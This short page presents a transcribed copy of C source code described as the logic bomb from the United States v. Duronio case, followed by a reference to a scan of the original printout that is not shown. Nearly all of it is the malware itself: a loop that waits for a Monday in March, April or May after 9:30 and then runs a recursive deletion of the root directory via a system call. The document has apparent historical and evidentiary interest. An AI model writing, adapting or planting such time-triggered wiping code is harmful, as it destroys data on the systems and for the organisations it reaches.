Below is a transcribed copy of the source code from the logic bomb used in the case United States v. Duronio.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <time.h>
main()
{
long tloc;
struct tm *tm;
time_t Clock;
while(TRUE) {
Clock = time(&tloc);
tm = localtime(&Clock);
if(tm->tm_mon == 2 || tm->tm_mon==3|| tm->tm_mon==4) {
if(tm->tm_wday == 1 ) {
if(tm->tm_hour >= 9) {
if(tm->tm_min >= 30) {
system("/usr/sbin/mrm -r / &");
break;
} else {
sleep(60);
}
}else {
sleep(3600);
}
}else{
sleep(60*60*24);
}
}else{
sleep(24*60*60*10);
}
}
}
Here is a scan of the printout of the original source:
